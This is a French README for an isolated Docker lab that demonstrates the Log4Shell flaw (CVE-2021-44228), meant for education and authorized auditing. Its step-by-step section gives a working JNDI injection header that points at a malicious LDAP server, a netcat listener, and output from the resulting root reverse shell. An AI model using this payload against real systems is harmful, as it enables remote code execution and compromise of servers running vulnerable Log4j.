
Laboratoire automatisé Plug & Play dans Docker pour auditer et étudier la vulnérabilité Log4Shell (CVE-2021-44228)
Un laboratoire de recherche en sécurité automatisé, en une seule commande, conçu pour démontrer et auditer la vulnérabilité d'exécution de code à distance (RCE) Log4Shell (CVE-2021-44228).
Ce projet consolide tous les composants nécessaires (application vulnérable, serveur LDAP malveillant et outils d'attaque) dans une infrastructure réseau unifiée et isolée utilisant Docker Compose.
.env ou alignement réseau requis. Tout se résout automatiquement via le DNS interne de Docker.UnsupportedClassVersionError.configurar.sh) qui automatise le démantèlement des conteneurs, le nettoyage du cache et les reconstructions.Le laboratoire crée un réseau pont isolé (red-log4shell) avec trois acteurs clés :
web-vulnerable): Une application web Spring Boot utilisant une version non atténuée et vulnérable de Log4j (2.14.1) fonctionnant sur Java 8u111.ldap-malicioso): Alimenté par marshalsec pour intercepter les requêtes de recherche entrantes et rediriger dynamiquement la victime vers la charge utile de l'attaquant.kali-tools): Un conteneur Kali Linux personnalisé hébergeant un serveur HTTP Python pour délivrer la charge utile d'exploitation compilée (Exploit.class) et un écouteur Netcat pour capturer le reverse shell.Pour déployer ce laboratoire sur toute machine Linux avec Docker installé, exécutez les commandes suivantes dans votre terminal :
# 1. Clonez le dépôt
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Naviguez vers le répertoire du projet
cd mi-laboratorio-log4shell
# 3. Accordez les permissions d'exécution au gestionnaire de script et lancez le labo
chmod +x configurar.sh
./configurar.sh
🚀 Comment Exploiter (Étape par Étape)
Une fois l'infrastructure automatiquement opérationnelle via le script, suivez ces étapes pour déclencher l'exploit et capturer le reverse shell.
Ouvrez un nouveau terminal sur votre machine hôte (Ubuntu) et attachez-vous au conteneur de l'attaquant pour mettre Netcat en attente des connexions entrantes :
sudo docker exec -it kali-tools bash
À l'intérieur du conteneur Kali, démarrez l'écouteur :
nc -lvnp 4444
Vous verrez le message : listening on [any] 4444 ...
Ouvrez un autre terminal séparé sur votre machine hôte et envoyez la chaîne d'injection JNDI malveillante intégrée dans l'en-tête X-Api-Version :
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Retournez à votre terminal Netcat. Vous devriez voir une connexion active. Vous pouvez maintenant exécuter des commandes en tant que root à l'intérieur du serveur victime :
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164
whoami
root
Ce dépôt est créé strictement à des fins éducatives, de recherche en sécurité et d'audit académique autorisé. N'exécutez jamais ces outils ou n'attaquez une infrastructure sans autorisation écrite préalable explicite des propriétaires de l'infrastructure.